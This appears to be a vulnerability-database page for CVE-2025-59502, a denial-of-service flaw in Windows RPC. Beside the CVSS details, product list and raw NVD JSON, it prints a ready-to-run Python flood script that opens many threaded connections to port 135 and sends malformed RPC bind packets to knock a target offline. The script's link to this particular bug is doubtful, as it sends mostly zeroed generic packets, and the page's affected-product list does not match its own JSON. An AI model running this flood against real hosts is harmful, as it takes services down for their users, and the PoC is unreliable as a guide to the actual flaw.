Security Vulnerability Report
中文
CVE-2025-59502 CVSS 7.5 HIGH

CVE-2025-59502

Published: 2025-10-14 17:16:14
Last Modified: 2025-10-22 16:37:25

Description

Uncontrolled resource consumption in Windows Remote Procedure Call allows an unauthorized attacker to deny service over a network.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Windows 10 (所有版本)
Microsoft Windows 11 (所有版本)
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server 2022
Microsoft Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59502 - Windows RPC Denial of Service PoC # Vulnerability: Uncontrolled resource consumption in Windows RPC # This PoC demonstrates sending crafted RPC requests to exhaust server resources import socket import struct import threading import time TARGET_HOST = "192.168.1.100" # Replace with target Windows host TARGET_PORT = 135 # RPC endpoint mapper port THREAD_COUNT = 50 # Number of concurrent threads REQUEST_COUNT = 1000 # Requests per thread def build_malformed_rpc_bind_request(): """ Build a malformed RPC bind request to trigger uncontrolled resource consumption on the target Windows RPC service. The request contains oversized fields to force excessive memory allocation on the server side. """ # RPC bind request header (DCE/RPC protocol) # Version 5, Minor version 0, Packet type 11 (BIND) rpc_version = struct.pack('<BB', 5, 0) packet_type = struct.pack('<B', 11) # BIND packet_flags = struct.pack('<B', 0x03) # First + Last fragment data_representation = struct.pack('<I', 0x00000010) # NDR frag_length = struct.pack('<H', 4096) # Large fragment length auth_length = struct.pack('<H', 0) call_id = struct.pack('<I', 0x00000001) # Max Xmit/Recv frag - oversized values to trigger resource exhaustion max_xmit_frag = struct.pack('<H', 0xFFFF) max_recv_frag = struct.pack('<H', 0xFFFF) assoc_group_id = struct.pack('<I', 0) # Context item with malformed presentation syntax context_id = struct.pack('<B', 0) context_item_count = struct.pack('<B', 1) # Abstract syntax UUID (overlong to cause excessive allocation) abstract_syntax = b'\x00' * 16 # Null UUID abstract_version = struct.pack('<I', 0) # Transfer syntax with malformed data transfer_syntax = b'\x00' * 16 transfer_version = struct.pack('<I', 0) payload = (rpc_version + packet_type + packet_flags + data_representation + frag_length + auth_length + call_id + max_xmit_frag + max_recv_frag + assoc_group_id + context_id + context_item_count + abstract_syntax + abstract_version + transfer_syntax + transfer_version) # Pad payload to declared fragment length to maximize resource usage payload += b'\x00' * (4096 - len(payload)) return payload def send_rpc_flood(): """Send crafted RPC requests to exhaust target resources.""" try: for i in range(REQUEST_COUNT): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) payload = build_malformed_rpc_bind_request() sock.send(payload) # Hold connection open to consume server-side resources time.sleep(0.1) sock.close() except Exception as e: print(f"[Thread] Error: {e}") def main(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Launching {THREAD_COUNT} threads...") threads = [] for t in range(THREAD_COUNT): thread = threading.Thread(target=send_rpc_flood) thread.daemon = True threads.append(thread) thread.start() for thread in threads: thread.join() print("[+] Attack completed. Check target availability.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59502", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:14.030", "lastModified": "2025-10-22T16:37:25.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled resource consumption in Windows Remote Procedure Call allows an unauthorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7792", "matchCriteriaId": "93FE8D22-70E3-4BDD-A6AA-D1EBAEBA9D2C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6332", "matchCriteriaId": "7A6EFA39-1D7C-4663-A412-AA6802FB27E8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6332", "matchCriteriaId": "45F6F341-FC2F-4629-8259-C5F8CC8E2EB3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.5909", "matchCriteriaId": "86480500-CDA6-4F8F-9B8C-F3FC77B15F67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.5909", "matchCriteriaId": "0A6C6080-3904-45F2-897E-F6583DB4A70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6508", "matchCriteriaId": "6E1B4513-36E7-4DCD-96B3-A56184D37C87"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7792", "matchCriteriaId": "07163682-D393-40AF-BEDD-CDD996C941ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4106", "matchCriteriaId": "DFE7D988-2ABE-4833-AFEB-90926E10B8EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1849", "matchCriteriaId": "986B3446-8F5A-4D4C-A240-7052ED135E5B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6508", "matchCriteriaId": "B7DF196D-36BE-4A48-844E-E1D8405A9E1A"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59502", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}